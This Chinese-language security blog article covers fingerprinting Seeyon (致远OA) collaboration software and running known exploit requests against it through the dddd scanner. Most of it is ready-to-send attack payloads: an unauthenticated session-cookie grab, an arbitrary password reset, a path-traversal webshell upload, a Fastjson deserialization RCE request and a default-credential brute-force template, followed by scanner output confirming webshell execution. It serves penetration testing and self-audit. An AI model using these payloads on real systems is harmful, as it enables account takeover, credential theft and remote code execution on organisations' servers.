前言
在企业级协同办公软件中,致远OA因其广泛部署而成为安全研究人员和渗透测试人员的重要关注目标。本文将以实践为导向,探讨如何将已知的致远OA指纹信息与漏洞验证代码(POC)进行有效集成,并借助自动化工具进行高效检测与验证。相关技术在 SRC漏洞挖掘 和 企业自查 中具有明确的应用价值。
致远OA指纹识别
指纹识别是识别目标系统类型与版本的第一步,关键在于发现其特有的响应特征。针对致远OA,一个典型的识别规则是检查其HTTP响应头部或页面内容中是否包含特定的路径标识符。例如,可以检查是否存在以下特征:
- 响应头中
Path 字段为 /seeyon。
- 响应头中
Location 字段重定向至 /seeyon/index.jsp 或 /seeyon/main.do。
- 响应体内容中包含
/seeyon 字符串。
用规则语言可以描述为:
致远OA: - 'header="Path=/seeyon" || header=="Location: /seeyon/index.jsp" || header=="Location: /seeyon/main.do" || (body="/seeyon" && ...)
当目标网站的响应符合上述任一条件时,即可被识别为致远OA系统。
关键漏洞POC示例
识别出致远OA后,下一步是验证其是否存在已知漏洞。以下是部分典型漏洞的检测请求示例。
1. 信息泄露漏洞
此类漏洞通常允许未授权访问敏感文件或接口,泄露系统状态、日志、配置等信息。
管理状态页面泄露:尝试访问 /seeyon/management/status.jsp。
GET /seeyon/management/status.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
登录日志泄露:尝试访问 /seeyon/logs/login.log。
GET /seeyon/logs/login.log HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
系统属性信息泄露:通过REST接口获取系统属性。
GET /seeyon/rest/m3/common/system/properties HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
2. 认证绕过与越权漏洞
利用某些接口的逻辑缺陷,实现未授权操作或获取敏感凭证。
Cookie获取(commonPierce接口):通过此接口可能获取有效的会话Cookie。
POST /seeyon/uc/rest.do?method=commonPierce HTTP/1.1
Host: {{Hostname}}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
pierceType=pierceTask&from=1&subject=1&talkId=1&ticket=LjgzODQxNDMxMjQzNDU4MTNkYyNzK...
成功利用后,响应中可能会返回一个 Set-Cookie 头部,其中包含有效的 JSESSIONID,如 JSESSIONID=26AFB4F50FEBF112D145BFFD5DA5A8。
密码重置漏洞:某些版本存在无需原密码即可重置任意用户密码的接口。
POST /seeyon/rest/phoneLogin/phoneCode/resetPassword HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=481F3949B045D38D5B7507C6CEA92FDB; loginPageURL=
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 45
{"loginName":"test","password":"Secet@123456"}
3. 文件上传与远程代码执行(RCE)漏洞
这是危害性最高的漏洞类型,允许攻击者上传恶意文件或直接执行系统命令。
后台文件上传(saveExcelInbase):通过特定接口将文件写入Web目录。
http:
method: POST
path: '{{RootURL}}/seeyon/ajax.do;JSESSIONID=chat?method=ajaxAction&managerName=fileToExcelManager&rnd=12700'
headers:
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
body: method=ajaxAction&managerName=fileToExcelManager&managerMethod=saveExcelInBase&arguments=["../webapps/ROOT/{{randstr_1}}.jsp"]
上传成功后,可通过GET请求访问写入的Webshell文件:
http:
method: GET
path: "{{RootURL}}/{{randstr_1}}.jsp"
Fastjson反序列化RCE(sursenServlet):利用Fastjson组件反序列化漏洞执行任意代码。
POST /seeyon/sursenServlet HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
sursenData={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},{"@type":"com.sun.rowset.JdbcRowSetImpl"}...(truncated)
4. 弱口令与爆破检测
针对默认或弱密码进行检测。
http:
raw: |
POST /seeyon/rest/authentication/ucpclogin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Referer: {{BaseURL}}/
UserAgentFrom=iphone&login_username={username}&login_password={password}
attack: clusterbomb
payloads:
username:
- "admin"
- "system"
- "seeyon"
- "audit"
- "user"
password:
- "seeyon123456"
- "1"
- "123"
- "admin"
集成与自动化实战
手动测试上述POC效率低下。安全社区中流行的 dddd 等工具将这些指纹和POC进行了集成,实现了自动化检测。
POC集成列表
在集成的规则库中,针对致远OA的POC数量众多,涵盖了从信息泄露到远程代码执行的各类漏洞,例如:
seeeyon-oa-phoneCode-resetPassword
seeeyon-oa-system-properties-infoleak
seeeyon-oa-saveExcel-upload
seeeyon-oa-sursenServlet-rce
seeeyon-oa-thirdpartyController-getCookie
seeeyon-oa-fastjson-rce
seeeyon-oa-log4j
实战检测流程
通过命令行工具执行扫描,典型流程和输出如下:
-
基础扫描:对目标进行存活判断、目录扫描和指纹识别。
C:\Users\lenovo\Desktop\dddd28268204\dddd.exe -t https://target.com
[INF] 许可证验证通过!!!!!!
[INF] 网站存活判断
[Web] [302]
[Web] 网站目录扫描
[致远OA] https://target.com/seeyon/index.jsp
[INF] 网站指纹识别
-
POC扫描:工具调用集成的POC进行漏洞检测。
[INF] 网站POC扫描
seeeyon-oa-getAjaxDataServlet-xxe [http] [high] https://target.com/...
seeeyon-oa-saveexcel-upload [http] [high] https://target.com/...
seeeyon-oa-default-login [http] [high] https://target.com/...
[INF] 当前进度:[122/123]
[INF] 网站扫描结束!!!!!
-
指定POC检测:针对特定漏洞进行验证。
C:\Users\lenovo\Desktop\dddd20260113\dddd.exe -t http://target:3000 -poc seeyon-sursenServlet-rce
[INF] 许可证验证通过!!!!!!
[Web] http://target:3000 [302]
seeyon-sursenServlet-rce [http] [high] http://target:3000/seeyon/sursenServlet
[INF] 网站存活判断
[INF] 当前进度: (1/1)
[INF] 网站扫描结束!!!!!!
-
结果验证:对于文件上传等漏洞,成功利用后可以访问上传的Webshell文件以确认漏洞真实存在。工具发送序列化载荷后,通过访问特定文件验证命令执行结果。
GET /b1/DJX.jsp HTTP/1.1
Host: 192.168.1.100
...
HTTP/1.1 200
...
12321
上述响应“12321”为Webshell的预设回显,证实文件上传并执行成功。
总结与思考
将精准的指纹识别与丰富的漏洞POC集成到自动化工具中,能极大提升对致远OA等特定目标的安全评估效率。本文梳理的指纹规则和POC示例,为理解该系统的常见攻击面提供了参考。在实际 渗透测试 工作中,此类集成工具是 安全/渗透/逆向 研究人员的重要助力。当然,所有技术研究和测试都必须在合法授权的范围内进行,用于提升系统安全性。
对于希望深入研究或获取此类集成工具的安全从业者,可以参考相关的技术社区和知识库。例如,在 云栈社区 等开发者聚集地,时常会有关于安全工具使用和经验交流的讨论。
参考资料
[1] 致远OA指纹和漏洞POC集成, 微信公众号:mp.weixin.qq.com/s/8k-sBYU44CCtoWzVHZ4vtg
版权声明:本文由 云栈社区 整理发布,版权归原作者所有。